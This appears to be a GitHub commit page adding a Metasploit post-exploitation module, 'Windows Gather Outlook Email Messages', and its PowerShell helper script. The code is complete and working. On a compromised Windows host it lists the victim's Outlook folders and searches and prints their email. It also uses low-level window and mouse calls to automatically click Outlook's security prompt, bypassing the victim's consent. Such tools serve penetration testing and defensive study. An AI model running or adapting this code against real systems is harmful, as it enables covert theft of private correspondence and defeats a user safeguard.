Skip to content

Commit 738fc78

Browse files
committed
Land rapid7#4220, outlook gather post module
2 parents 37fbe96 + e7503bf commit 738fc78

File tree

2 files changed

+199
-0
lines changed

2 files changed

+199
-0
lines changed

data/post/powershell/outlook.ps1

Lines changed: 47 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,47 @@
1+
function GetSubfolders($root) {
2+
$folders = @()
3+
$folders += $root
4+
foreach ($folder in $root.Folders) {
5+
$folders += GetSubfolders($folder)
6+
}
7+
return $folders
8+
}
9+
10+
function List-Folder {
11+
Clear-host
12+
Add-Type -Assembly "Microsoft.Office.Interop.Outlook"
13+
$Outlook = New-Object -ComObject Outlook.Application
14+
$Namespace = $Outlook.GetNameSpace("MAPI")
15+
$account = $NameSpace.Folders
16+
$folders = @()
17+
foreach ($acc in $account) {
18+
foreach ($folder in $acc.Folders) {
19+
$folders += GetSubfolders($folder)
20+
}
21+
}
22+
$folders | FT FolderPath
23+
}
24+
25+
function Get-Emails {
26+
param ([String]$searchTerm,[String]$Folder)
27+
Add-Type -Assembly "Microsoft.Office.Interop.Outlook"
28+
$Outlook = New-Object -ComObject Outlook.Application
29+
$Namespace = $Outlook.GetNameSpace("MAPI")
30+
$account = $NameSpace.Folders
31+
$found = $false
32+
foreach ($acc in $account) {
33+
try {
34+
$Email = $acc.Folders.Item($Folder).Items
35+
$result = $Email | Where-Object {$_.HTMLBody -like '*' + $searchTerm + '*' -or $_.TaskSubject -like '*' + $searchTerm + '*'}
36+
if($result) {
37+
$found = $true
38+
$result | Format-List To, SenderEmailAddress, CreationTime, TaskSubject, HTMLBody
39+
}
40+
} catch {
41+
Write-Host "Folder" $Folder "not found in mailbox" $acc.Name
42+
}
43+
}
44+
if(-Not $found) {
45+
Write-Host "Searchterm" $searchTerm "not found"
46+
}
47+
}
Lines changed: 152 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,152 @@
1+
##
2+
# This module requires Metasploit: http://metasploit.com/download
3+
# Current source: https://github.com/rapid7/metasploit-framework
4+
##
5+
6+
require 'msf/core'
7+
8+
class Metasploit3 < Msf::Post
9+
include Msf::Post::Windows::Registry
10+
include Msf::Post::Windows::Powershell
11+
12+
A_HASH = { "en_US" => "Allow", "NL" => "Toestaan", "de_DE" => "Erteilen", "de_AT" => "Erteilen" }
13+
ACF_HASH = { "en_US" => "Allow access for", "NL" => "Toegang geven voor", "de_DE" => "Zugriff gew\xc3\xa4hren f\xc3\xbcr", "de_AT" => "Zugriff gew\xc3\xa4hren f\xc3\xbcr" }
14+
15+
def initialize(info={})
16+
super(update_info(info,
17+
'Name' => 'Windows Gather Outlook Email Messages',
18+
'Description' => %q{
19+
This module allows you to read and search email messages from the local Outlook installation using powershell. Please note that this module is manipulating the victims keyboard/mouse.
20+
If a victim is behind the target system, he might notice the activities of this module. Tested on Windows 8.1 x64 with Office 2013.
21+
},
22+
'License' => MSF_LICENSE,
23+
'Author' => [ 'Wesley Neelen <security[at]forsec.nl>' ],
24+
'References' => [ 'URL', 'https://forsec.nl/2014/11/reading-outlook-using-metasploit' ],
25+
'Platform' => [ 'win' ],
26+
'Arch' => [ 'x86', 'x64' ],
27+
'SessionTypes' => [ 'meterpreter' ],
28+
'Actions' => [
29+
[ 'LIST', { 'Description' => 'Lists all folders' } ],
30+
[ 'SEARCH', { 'Description' => 'Searches for an email' } ]
31+
],
32+
'DefaultAction' => 'LIST'
33+
))
34+
35+
register_options(
36+
[
37+
OptString.new('FOLDER', [ false, 'The e-mailfolder to read (e.g. Inbox)' ]),
38+
OptString.new('KEYWORD', [ false, 'Search e-mails by the keyword specified here' ]),
39+
OptString.new('A_TRANSLATION', [ false, 'Fill in the translation of the word "Allow" in the targets system language, to click on the security popup.' ]),
40+
OptString.new('ACF_TRANSLATION', [ false, 'Fill in the translation of the phrase "Allow access for" in the targets system language, to click on the security popup.' ]),
41+
], self.class)
42+
end
43+
44+
def execute_outlook_script(command)
45+
base_script = File.read(File.join(Msf::Config.data_directory, "post", "powershell", "outlook.ps1"))
46+
psh_script = base_script << command
47+
compressed_script = compress_script(psh_script)
48+
cmd_out, runnings_pids, open_channels = execute_script(compressed_script)
49+
while(d = cmd_out.channel.read)
50+
print ("#{d}")
51+
end
52+
currentidle = session.ui.idle_time
53+
vprint_status("System has currently been idle for #{currentidle} seconds")
54+
end
55+
56+
# This function prints a listing of available mailbox folders
57+
def listBoxes
58+
command = 'List-Folder'
59+
execute_outlook_script(command)
60+
end
61+
62+
# This functions reads Outlook using powershell scripts
63+
def readEmails(folder,keyword,atrans,acftrans)
64+
view = framework.threads.spawn("ButtonClicker", false) {
65+
clickButton(atrans,acftrans)
66+
}
67+
command = "Get-Emails \"#{keyword}\" \"#{folder}\""
68+
execute_outlook_script(command)
69+
end
70+
71+
def clickButton(atrans,acftrans)
72+
# This functions clicks on the security notification generated by Outlook.
73+
sleep 1
74+
hwnd = client.railgun.user32.FindWindowW(nil, "Microsoft Outlook")
75+
if hwnd != 0
76+
hwndChildCk = client.railgun.user32.FindWindowExW(hwnd['return'], nil, "Button", "&#{acftrans}")
77+
client.railgun.user32.SendMessageW(hwndChildCk['return'], 0x00F1, 1, nil)
78+
client.railgun.user32.MoveWindow(hwnd['return'],150,150,1,1,true)
79+
hwndChild = client.railgun.user32.FindWindowExW(hwnd['return'], nil, "Button", "#{atrans}")
80+
client.railgun.user32.SetActiveWindow(hwndChild['return'])
81+
client.railgun.user32.SetForegroundWindow(hwndChild['return'])
82+
client.railgun.user32.SetCursorPos(150,150)
83+
client.railgun.user32.mouse_event(0x0002,150,150,nil,nil)
84+
client.railgun.user32.SendMessageW(hwndChild['return'], 0x00F5, 0, nil)
85+
else
86+
print_error("Error while clicking on the Outlook security notification. Window could not be found")
87+
end
88+
end
89+
90+
def run
91+
# Main method
92+
folder = datastore['FOLDER']
93+
keyword = datastore['KEYWORD'].to_s
94+
allow = datastore['A_TRANSLATION']
95+
allow_access_for = datastore['ACF_TRANSLATION']
96+
langNotSupported = true
97+
98+
# OS language check
99+
sysLang = client.sys.config.sysinfo['System Language']
100+
A_HASH.each do |key, val|
101+
if sysLang == key
102+
langNotSupported = false
103+
atrans = A_HASH[sysLang]
104+
acftrans = ACF_HASH[sysLang]
105+
end
106+
end
107+
108+
if allow and allow_access_for
109+
atrans = allow
110+
acftrans = allow_access_for
111+
else
112+
if langNotSupported == true
113+
fail_with(Failure::Unknown, "System language not supported, you can specify the targets system translations in the options A_TRANSLATION (Allow) and ACF_TRANSLATION (Allow access for)")
114+
end
115+
end
116+
117+
# Outlook installed
118+
@key_base = "HKCU\\Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676"
119+
outlookInstalled = registry_getvaldata("#{@key_base}\\", "NextAccountID")
120+
121+
if !outlookInstalled.nil?
122+
if outlookInstalled != 0
123+
print_good "Outlook is installed"
124+
else
125+
fail_with(Failure::Unknown, "Outlook is not installed")
126+
end
127+
end
128+
129+
# Powershell installed check
130+
if have_powershell?
131+
print_good("Powershell is installed.")
132+
else
133+
fail_with(Failure::Unknown, "Powershell is not installed")
134+
end
135+
136+
# Check whether target system is locked
137+
locked = client.railgun.user32.GetForegroundWindow()['return']
138+
if locked == 0
139+
fail_with(Failure::Unknown, "Target system is locked. This post module cannot click on Outlooks security warning when the target system is locked")
140+
end
141+
142+
case action.name
143+
when 'LIST'
144+
print_good('Available folders in the mailbox: ')
145+
listBoxes
146+
when 'SEARCH'
147+
readEmails(folder,keyword,atrans,acftrans)
148+
else
149+
print_error("Unknown Action: #{action.name}")
150+
end
151+
end
152+
end

0 commit comments

Comments
 (0)